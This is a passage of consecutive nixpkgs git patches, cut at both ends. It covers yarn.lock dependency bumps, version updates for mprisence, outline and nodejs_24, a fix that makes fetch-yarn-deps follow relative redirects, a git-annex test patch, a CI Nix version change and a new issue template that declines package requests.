   resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.37.120.tgz#ad7209930509c4cee3efddbacc77a1b18cf66d34"
   integrity sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==
 
-discord-api-types@^0.38.1:
-  version "0.38.16"
-  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.16.tgz#15e034ae99f5bf0bee5a97d411d675e078e38ad8"
-  integrity sha512-Cz42dC5WqJD17Yk0bRy7YLTJmh3NKo4FGpxZuA8MHqT0RPxKSrll5YhlODZ2z5DiEV/gpHMeTSrTFTWpSXjT1Q==
+discord-api-types@^0.38.1, discord-api-types@^0.38.16:
+  version "0.38.21"
+  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.21.tgz#f28d3546869038db247d16e85900f2033b880aa5"
+  integrity sha512-E6KtXUNjZVIYP1GMjmeRdAC1xRql9xtSahRwJYpP74/hJ6Q2i2oTp6ZbFG/FUN0WqtdW2igHDsJyF2u9hV8pHQ==
 
 discord.js@14.6.0:
   version "14.6.0"
@@ -3558,10 +3566,10 @@ ee-first@1.1.1:
   resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
-electron-to-chromium@^1.5.173:
-  version "1.5.190"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.190.tgz#f0ac8be182291a45e8154dbb12f18d2b2318e4ac"
-  integrity sha512-k4McmnB2091YIsdCgkS0fMVMPOJgxl93ltFzaryXqwip1AaxeDqKCGLxkXODDA5Ab/D+tV5EL5+aTx76RvLRxw==
+electron-to-chromium@^1.5.204:
+  version "1.5.209"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.209.tgz#403e7a84933b7206bb2e737d897042b2a6ef8d3e"
+  integrity sha512-Xoz0uMrim9ZETCQt8UgM5FxQF9+imA7PBpokoGcZloA1uw2LeHzTlip5cb5KOAsXZLjh/moN2vReN3ZjJmjI9A==
 
 emoji-regex@^7.0.1:
   version "7.0.3"
@@ -4086,9 +4094,9 @@ fn.name@1.x.x:
   integrity sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==
 
 follow-redirects@^1.14.0, follow-redirects@^1.14.8, follow-redirects@^1.15.6:
-  version "1.15.9"
-  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.9.tgz#a604fa10e443bf98ca94228d9eebcc2e8a2c8ee1"
-  integrity sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==
+  version "1.15.11"
+  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.11.tgz#777d73d72a92f8ec4d2e410eb47352a56b8e8340"
+  integrity sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==
 
 for-each@^0.3.3, for-each@^0.3.5:
   version "0.3.5"
@@ -4123,7 +4131,7 @@ forever-agent@~0.6.1:
   resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
   integrity sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==
 
-form-data@^2.5.0:
+form-data@^2.5.5:
   version "2.5.5"
   resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.5.5.tgz#a5f6364ad7e4e67e95b4a07e2d8c6f711c74f624"
   integrity sha512-jqdObeR2rxZZbPSGL+3VckHMYtu+f9//KXBsVny6JSX/pa38Fy+bGjuG8eW/H6USNQWhLi8Num++cU2yOCNz4A==
@@ -4851,6 +4859,11 @@ internal-slot@^1.1.0:
     hasown "^2.0.2"
     side-channel "^1.1.0"
 
+ip-address@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-10.0.1.tgz#a8180b783ce7788777d796286d61bce4276818ed"
+  integrity sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==
+
 ip-address@^7.1.0:
   version "7.1.0"
   resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-7.1.0.tgz#4a9c699e75b51cbeb18b38de8ed216efa1a490c5"
@@ -4859,14 +4872,6 @@ ip-address@^7.1.0:
     jsbn "1.1.0"
     sprintf-js "1.1.2"
 
-ip-address@^9.0.5:
-  version "9.0.5"
-  resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-9.0.5.tgz#117a960819b08780c3bd1f14ef3c1cc1d3f3ea5a"
-  integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==
-  dependencies:
-    jsbn "1.1.0"
-    sprintf-js "^1.1.3"
-
 ipaddr.js@1.9.1:
   version "1.9.1"
   resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
@@ -5259,9 +5264,9 @@ jose@^4.15.4, jose@^4.15.9:
   integrity sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==
 
 jose@^6.0.11:
-  version "6.0.12"
-  resolved "https://registry.yarnpkg.com/jose/-/jose-6.0.12.tgz#56253d94d46bd784addc4bde3691c323552fe7e4"
-  integrity sha512-T8xypXs8CpmiIi78k0E+Lk7T2zlK4zDyg+o1CZ4AkOHgDg98ogdP2BeZ61lTFKFyoEwJ9RgAgN+SdM3iPgNonQ==
+  version "6.0.13"
+  resolved "https://registry.yarnpkg.com/jose/-/jose-6.0.13.tgz#078563b07e9ab82f0ea6922eca589041e8278a22"
+  integrity sha512-Yms4GpbmdANamS51kKK6w4hRlKx8KTxbWyAAKT/MhUMtqbIqh5mb2HjhTNUbk7TFL8/MBB5zWSDohL7ed4k/UA==
 
 js-tokens@^4.0.0:
   version "4.0.0"
@@ -6249,10 +6254,10 @@ node-windows@0.1.14:
     optimist "~0.6.0"
     xml "0.0.12"
 
-nodemailer@6.9.16:
-  version "6.9.16"
-  resolved "https://registry.yarnpkg.com/nodemailer/-/nodemailer-6.9.16.tgz#3ebdf6c6f477c571c0facb0727b33892635e0b8b"
-  integrity sha512-psAuZdTIRN08HKVd/E8ObdV6NO7NTBY3KsC30F7M4H1OnmLCUNaS56FpYxyb26zWLSyYF9Ozch9KYHhHegsiOQ==
+nodemailer@6.10.1:
+  version "6.10.1"
+  resolved "https://registry.yarnpkg.com/nodemailer/-/nodemailer-6.10.1.tgz#cbc434c54238f83a51c07eabd04e2b3e832da623"
+  integrity sha512-Z+iLaBGVaSjbIzQ4pX6XV41HrooLsQ10ZWPUehGmuantvzWoDVBnmsdUcOIDM1t+yPor5pDhVlDESgOMEGxhHA==
 
 nofilter@^1.0.4:
   version "1.0.4"
@@ -6297,9 +6302,9 @@ number-is-nan@^1.0.0:
   integrity sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==
 
 nwsapi@^2.2.4:
-  version "2.2.20"
-  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.20.tgz#22e53253c61e7b0e7e93cef42c891154bcca11ef"
-  integrity sha512-/ieB+mDe4MrrKMT8z+mQL8klXydZWGR5Dowt4RAGKbJ3kIGEx3X4ljUo+6V73IXtUPWgfOlU5B9MlGxFO5T+cA==
+  version "2.2.21"
+  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.21.tgz#8df7797079350adda208910d8c33fc4c2d7520c3"
+  integrity sha512-o6nIY3qwiSXl7/LuOU0Dmuctd34Yay0yeuZRLFmDPrrdHpXKFndPj3hM+YEPVHYC5fx2otBx4Ilc/gyYSAUaIA==
 
 nyc@^14.1.1:
   version "14.1.1"
@@ -6403,9 +6408,9 @@ object.getownpropertydescriptors@^2.0.3:
     safe-array-concat "^1.1.2"
 
 oidc-token-hash@^5.0.3:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/oidc-token-hash/-/oidc-token-hash-5.1.0.tgz#74bda0c35dd9f71ea9ce0db72ce8dabf5f90ef79"
-  integrity sha512-y0W+X7Ppo7oZX6eovsRkuzcSM40Bicg2JEJkDJ4irIt1wsYAP5MLSNv+QAogO8xivMffw/9OvV3um1pxXgt1uA==
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/oidc-token-hash/-/oidc-token-hash-5.1.1.tgz#d35e31ca26d3a26678f5e9bda100b095ab58011f"
+  integrity sha512-D7EmwxJV6DsEB6vOFLrBM2OzsVgQzgPWyHlV2OOAVj772n+WTXpudC9e9u5BVKQnYwaD30Ivhi9b+4UeBcGu9g==
 
 on-finished@2.4.1:
   version "2.4.1"
@@ -6887,9 +6892,9 @@ postgres-interval@^1.1.0:
     xtend "^4.0.0"
 
 postman-request@^2.88.1-postman.33:
-  version "2.88.1-postman.42"
-  resolved "https://registry.yarnpkg.com/postman-request/-/postman-request-2.88.1-postman.42.tgz#b7c9b07edcd7b0d4930a2a4c53ec06c4682357e7"
-  integrity sha512-lepCE8QU0izagxxA31O/MHj8IUguwLlpqeVK7A8vHK401FPvN/PTIzWHm29c/L3j3kTUE7dhZbq8vvbyQ7S2Bw==
+  version "2.88.1-postman.43"
+  resolved "https://registry.yarnpkg.com/postman-request/-/postman-request-2.88.1-postman.43.tgz#98aef15a01003d86cd943f844fa2bf6b11434fed"
+  integrity sha512-5ivoZnMvnX47/HA7mk2GQubZsnXptlJGVyO0hLV3MTK/MDgJVnB/q3bUgzU4KhwG8OBxe2L8uqv3ZpK6mp+RdA==
   dependencies:
     "@postman/form-data" "~3.1.1"
     "@postman/tough-cookie" "~4.1.3-postman.1"
@@ -6908,6 +6913,7 @@ postman-request@^2.88.1-postman.33:
     oauth-sign "~0.9.0"
     qs "~6.5.3"
     safe-buffer "^5.1.2"
+    socks-proxy-agent "^8.0.5"
     stream-length "^1.0.2"
     uuid "^8.3.2"
 
@@ -6973,9 +6979,9 @@ proto3-json-serializer@^2.0.2:
     protobufjs "^7.2.5"
 
 protobufjs@^7.2.5, protobufjs@^7.2.6, protobufjs@^7.3.2:
-  version "7.5.3"
-  resolved "https://registry.yarnpkg.com/protobufjs/-/protobufjs-7.5.3.tgz#13f95a9e3c84669995ec3652db2ac2fb00b89363"
-  integrity sha512-sildjKwVqOI2kmFDiXQ6aEB0fjYTafpEvIBs8tOR8qI4spuL9OPROLVu2qZqi/xgCfsHIwVqlaF8JBjWFHnKbw==
+  version "7.5.4"
+  resolved "https://registry.yarnpkg.com/protobufjs/-/protobufjs-7.5.4.tgz#885d31fe9c4b37f25d1bb600da30b1c5b37d286a"
+  integrity sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==
   dependencies:
     "@protobufjs/aspromise" "^1.1.2"
     "@protobufjs/base64" "^1.1.2"
@@ -7731,12 +7737,21 @@ socks-proxy-agent@^6.0.0:
     debug "^4.3.3"
     socks "^2.6.2"
 
-socks@^2.6.2, socks@^2.7.1:
-  version "2.8.6"
-  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.6.tgz#e335486a2552f34f932f0c27d8dbb93f2be867aa"
-  integrity sha512-pe4Y2yzru68lXCb38aAqRf5gvN8YdjP1lok5o0J7BOHljkyCGKVz7H3vpVIXKD27rj2giOJ7DwVyk/GWrPHDWA==
+socks-proxy-agent@^8.0.5:
+  version "8.0.5"
+  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-8.0.5.tgz#b9cdb4e7e998509d7659d689ce7697ac21645bee"
+  integrity sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw==
   dependencies:
-    ip-address "^9.0.5"
+    agent-base "^7.1.2"
+    debug "^4.3.4"
+    socks "^2.8.3"
+
+socks@^2.6.2, socks@^2.7.1, socks@^2.8.3:
+  version "2.8.7"
+  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.7.tgz#e2fb1d9a603add75050a2067db8c381a0b5669ea"
+  integrity sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==
+  dependencies:
+    ip-address "^10.0.1"
     smart-buffer "^4.2.0"
 
 source-map-support@^0.5.16, source-map-support@~0.5.20:
@@ -7793,9 +7808,9 @@ spdx-expression-parse@^3.0.0:
     spdx-license-ids "^3.0.0"
 
 spdx-license-ids@^3.0.0:
-  version "3.0.21"
-  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz#6d6e980c9df2b6fc905343a3b2d702a6239536c3"
-  integrity sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==
+  version "3.0.22"
+  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.22.tgz#abf5a08a6f5d7279559b669f47f0a43e8f3464ef"
+  integrity sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==
 
 split-on-first@^1.0.0:
   version "1.1.0"
@@ -7812,11 +7827,6 @@ sprintf-js@1.1.2:
   resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.2.tgz#da1765262bf8c0f571749f2ad6c26300207ae673"
   integrity sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==
 
-sprintf-js@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.3.tgz#4914b903a2f8b685d17fdf78a70e917e872e444a"
-  integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==
-
 sprintf-js@~1.0.2:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
@@ -8544,10 +8554,10 @@ undici-types@~6.21.0:
   resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.21.0.tgz#691d00af3909be93a7faa13be61b3a5b50ef12cb"
   integrity sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==
 
-undici-types@~7.8.0:
-  version "7.8.0"
-  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-7.8.0.tgz#de00b85b710c54122e44fbfd911f8d70174cd294"
-  integrity sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw==
+undici-types@~7.10.0:
+  version "7.10.0"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-7.10.0.tgz#4ac2e058ce56b462b056e629cc6a02393d3ff350"
+  integrity sha512-t5Fy/nfn+14LuOc2KNYg75vZqClpAiqscVvMygNnlsHBFpSXdJaYtXMcdNLpl/Qvc3P2cB3s6lOV51nqsFq4ag==
 
 undici@^5.11.0, undici@^5.22.0:
   version "5.29.0"

From 1cc89ba1551beb7114f5beff569bbe4f77309b3c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 29 Aug 2025 07:19:20 +0000
Subject: [PATCH 4035/4511] mprisence: 1.2.5 -> 1.2.6

(cherry picked from commit 065514ab5e98d6c820b27b70c31461d09843a199)
---
 pkgs/by-name/mp/mprisence/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mp/mprisence/package.nix b/pkgs/by-name/mp/mprisence/package.nix
index d6842b9ef28b..503ca1addaaa 100644
--- a/pkgs/by-name/mp/mprisence/package.nix
+++ b/pkgs/by-name/mp/mprisence/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mprisence";
-  version = "1.2.5";
+  version = "1.2.6";
 
   src = fetchFromGitHub {
     owner = "lazykern";
     repo = "mprisence";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-XZgc5eaBo/FwRCTJnm6lKzp824/XckIMK5P4aTohiuE=";
+    hash = "sha256-I/rY8EU7EHlxtKO/++itjkDehGSIOHmU0C1PJGsgvHA=";
   };
 
-  cargoHash = "sha256-zbycof7QBI2Ua3rO24aCDZcxX8yoPKpAAFeQI4b2YjM=";
+  cargoHash = "sha256-ZAr+cdC/A5YsPTdZhKF1qPM37oavXyIDhZYPAQ3zq8A=";
 
   nativeBuildInputs = [ pkg-config ];
 

From 0beac304d7570c843ae914aea5af15c0f7f22297 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Fri, 29 Aug 2025 15:54:06 +0200
Subject: [PATCH 4036/4511] ci: replace nix_2_24 with nix_2_28

This is a partial backport of the nix_2_24 removal PR, containing
only the CI testing changes that update the tested nix versions.

(cherry picked from commit 1b7637ff0806095b09bfd4380d435050acffd006)
---
 ci/default.nix        | 2 +-
 lib/tests/release.nix | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index da6e3f877e3b..19229e85414e 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -147,7 +147,7 @@ rec {
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };
     lix = pkgs.callPackage ./parse.nix { nix = pkgs.lix; };
-    nix_2_24 = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.nix_2_24; };
+    nix_2_28 = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.nix_2_28; };
   };
   shell = import ../shell.nix { inherit nixpkgs system; };
   tarball = import ../pkgs/top-level/make-tarball.nix {
diff --git a/lib/tests/release.nix b/lib/tests/release.nix
index 1f8c666eab01..91d0d69d1e14 100644
--- a/lib/tests/release.nix
+++ b/lib/tests/release.nix
@@ -16,7 +16,7 @@
   pkgsBB ? pkgs.pkgsBuildBuild,
   nix ? pkgs-nixVersions.stable,
   nixVersions ? [
-    pkgs-nixVersions.nix_2_24
+    pkgs-nixVersions.nix_2_28
     nix
     pkgs-nixVersions.latest
   ],

From 5d66e61dd77d81fa284b4df1a06bdc69ba056e37 Mon Sep 17 00:00:00 2001
From: Alexander Sieg <alex@xanderio.de>
Date: Mon, 11 Aug 2025 16:41:19 +0200
Subject: [PATCH 4037/4511] fetch-yarn-deps: follow relative redirects

(cherry picked from commit 23236536337670da935e23502124d6d15a65d152)
---
 pkgs/build-support/node/fetch-yarn-deps/index.js | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/pkgs/build-support/node/fetch-yarn-deps/index.js b/pkgs/build-support/node/fetch-yarn-deps/index.js
index ea2f4a73ca12..1799fbc71d68 100755
--- a/pkgs/build-support/node/fetch-yarn-deps/index.js
+++ b/pkgs/build-support/node/fetch-yarn-deps/index.js
@@ -10,6 +10,7 @@ const path = require('path')
 const lockfile = require('./yarnpkg-lockfile.js')
 const { promisify } = require('util')
 const url = require('url')
+const { URL } = url;
 const { urlToName } = require('./common.js')
 
 const execFile = promisify(child_process.execFile)
@@ -20,7 +21,7 @@ const exec = async (...args) => {
   return res
 }
 
-const downloadFileHttps = (fileName, url, expectedHash, hashType = 'sha1') => {
+const downloadFileHttps = (fileName, url, expectedHash, verbose, hashType = 'sha1') => {
   return new Promise((resolve, reject) => {
     const get = (url, redirects = 0) => https.get(url, (res) => {
       if(redirects > 10) {
@@ -28,7 +29,9 @@ const downloadFileHttps = (fileName, url, expectedHash, hashType = 'sha1') => {
         return;
       }
       if(res.statusCode === 301 || res.statusCode === 302) {
-        return get(res.headers.location, redirects + 1)
+        const location = new URL(res.headers.location, url);
+        if (verbose) console.log('following redirect to ' + location);
+        return get(location, redirects + 1);
       }
       const file = fs.createWriteStream(fileName)
       const hash = crypto.createHash(hashType)
@@ -119,9 +122,9 @@ const downloadPkg = (pkg, verbose) => {
   } else if (url.startsWith('https://')) {
     if (typeof pkg.integrity === 'string' || pkg.integrity instanceof String) {
       const [ type, checksum ] = pkg.integrity.split('-')
-      return downloadFileHttps(fileName, url, Buffer.from(checksum, 'base64').toString('hex'), type)
+      return downloadFileHttps(fileName, url, Buffer.from(checksum, 'base64').toString('hex'), verbose, type)
     }
-    return downloadFileHttps(fileName, url, hash)
+    return downloadFileHttps(fileName, url, hash, verbose)
   } else if (url.startsWith('file:')) {
     console.warn(`ignoring unsupported file:path url "${url}"`)
   } else {

From e3505d022e43dc0ab8dfd40f528f0d848057939e Mon Sep 17 00:00:00 2001
From: Alexander Sieg <alex@xanderio.de>
Date: Mon, 11 Aug 2025 16:41:19 +0200
Subject: [PATCH 4038/4511] outline: 0.85.1 -> 0.86.1

(cherry picked from commit a5d61d0a19e2c09dbd1c42c8eefcb5cb081b8e18)
---
 pkgs/servers/web-apps/outline/default.nix | 6 +++---
 pkgs/top-level/all-packages.nix           | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/web-apps/outline/default.nix b/pkgs/servers/web-apps/outline/default.nix
index 1423876c41b5..1c91181dc8f7 100644
--- a/pkgs/servers/web-apps/outline/default.nix
+++ b/pkgs/servers/web-apps/outline/default.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation rec {
   pname = "outline";
-  version = "0.85.1";
+  version = "0.86.1";
 
   src = fetchFromGitHub {
     owner = "outline";
     repo = "outline";
     rev = "v${version}";
-    hash = "sha256-lErNsYzxqZYVl1MAQdMk062nBORjQGd3C+UbGbZMzvA=";
+    hash = "sha256-lsiwTpmb9E6C5FuYFfko4PqulDcqWU9sQnzSEJ3Y4NE=";
   };
 
   nativeBuildInputs = [
@@ -35,7 +35,7 @@ stdenv.mkDerivation rec {
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-/CXIZKI8eeK21PRIVZnRMOkwNNbj0vC0PZuT6rZBwG4=";
+    hash = "sha256-9xJ+N+UaHTlBzXvFPyYgB4jNwdiWCkvCSN22kEGuIxI=";
   };
 
   configurePhase = ''
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 077e1c4c4e1f..f160a703e453 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10638,7 +10638,7 @@ with pkgs;
   outline = callPackage ../servers/web-apps/outline (
     lib.fix (super: {
       yarn = yarn.override { inherit (super) nodejs; };
-      nodejs = nodejs_20;
+      nodejs = nodejs_22;
     })
   );
 

From 09b09ec38d1261bc3cc2ac02559c0e4e9da09871 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 27 Aug 2025 23:29:13 +0200
Subject: [PATCH 4039/4511] nodejs_24: 24.6.0 -> 24.7.0

(cherry picked from commit a546a8e027ffb1b4edbcbcfd92ec7f9c2ab12e18)
---
 pkgs/development/web/nodejs/v24.nix | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index 39db9d1328bf..3e4a128d368b 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.6.0";
-  sha256 = "8ad5c387b5d55d8f3b783b0f1b21bae03a3b3b10ac89a25d266cffa7b795e842";
+  version = "24.7.0";
+  sha256 = "cf74a77753b629ffebd2e38fb153a21001b2b7a3c365c0ec7332b120b98c7251";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -47,10 +47,18 @@ buildNodejs {
     ++ [
       ./configure-armv6-vfpv2.patch
       ./disable-darwin-v8-system-instrumentation-node19.patch
-      ./bypass-darwin-xcrun-node16.patch
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
+
+      # TODO: newer GYP versions have been patched to be more compatible with Nix sandbox. We need
+      # to adapt our patch to this newer version, see https://github.com/NixOS/nixpkgs/pull/434742.
+      (fetchpatch2 {
+        url = "https://github.com/nodejs/node/commit/886e4b3b534a9f3ad2facbc99097419e06615900.patch?full_index=1";
+        hash = "sha256-HFTabl92NPkBwXD0mUGDN+Gzabyi+Ph0kL0FEHHknbk=";
+        revert = true;
+      })
+      ./bypass-darwin-xcrun-node16.patch
     ]
     ++ lib.optionals (!stdenv.buildPlatform.isDarwin) [
       # test-icu-env is failing without the reverts

From de495ba15b2872a23681bee017611a4a64c0a421 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 29 Aug 2025 18:24:07 +0200
Subject: [PATCH 4040/4511] git-annex: patch another test failure

https://git-annex.branchable.com/bugs/flaky_test_failure_add_dup/
https://hydra.nixos.org/build/305309853
Not-cherry-picked-because: nixpkgs master already contains this in src
---
 .../haskell-modules/configuration-common.nix           | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 347a0c6b38ad..e41297e2b756 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -516,6 +516,16 @@ self: super:
               "CHANGELOG"
             ];
           })
+          # https://git-annex.branchable.com/bugs/flaky_test_failure_add_dup/
+          (pkgs.fetchpatch {
+            name = "git-annex-workaround-for-git-2.50_bis.patch";
+            url = "https://git.joeyh.name/index.cgi/git-annex.git/patch/?id=cf449837ea9ab7687d8a157f21cad31ddf5bbfb6";
+            sha256 = "sha256-HmNJ85dLht5Hy85AUkjACnET9YLPP2MshYHsApUax+I=";
+            excludes = [
+              "doc/**"
+              "CHANGELOG"
+            ];
+          })
         ];
 
         postPatch = ''

From d21a0c543db8d69ed174a2aa9a28ccb7beec639e Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Mon, 18 Aug 2025 11:43:43 +1000
Subject: [PATCH 4041/4511] ISSUE_TEMPLATE: add the package request stub

This isn't an issue template; it's a stub that will be auto-closed by CI
and is meant to discourage future package requests, and encourage more
pull requests.

See the full discussion on https://github.com/NixOS/nixpkgs/issues/425040.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
(cherry picked from commit f2bb8a4dfbce5dabf96720b61dbd419b3378fcf9)
---
 .github/ISSUE_TEMPLATE/10_package_request.yml | 41 +++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 .github/ISSUE_TEMPLATE/10_package_request.yml

diff --git a/.github/ISSUE_TEMPLATE/10_package_request.yml b/.github/ISSUE_TEMPLATE/10_package_request.yml
new file mode 100644
index 000000000000..3f5fb06691b6
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/10_package_request.yml
@@ -0,0 +1,41 @@
+name: "Request: Nix Package"
+description: "Package requests are no longer accepted. Please open a Pull Request with your desired package instead."
+title: "Package Request"
+labels: ["0.kind: packaging request", "4.workflow: auto-close"]
+body:
+  - type: "markdown"
+    attributes:
+      value: |
+        <p align="center">
+          <a href="https://nixos.org">
+            <picture>
+              <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/NixOS/nixos-artwork/refs/heads/master/logo/nixos.svg">
+              <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/NixOS/nixos-artwork/refs/heads/master/logo/nixos-white.svg">
+              <img src="https://raw.githubusercontent.com/NixOS/nixos-artwork/refs/heads/master/logo/nixos.svg" width="400px" alt="NixOS logo">
+            </picture>
+          </a>
+        </p>
+
+        Thank you for your interest in packaging new software in Nixpkgs.
+        Unfortunately, to mitigate the unsustainable growth of unmaintained packages, **Nixpkgs is no longer accepting package requests** via Issues.
+
+        As a [volunteer community][community], we are always open to new contributors.
+        If you wish to see this package in Nixpkgs, **we encourage you to [contribute] it yourself, via a Pull Request**.
+        Anyone can [become a package maintainer][maintainers]!
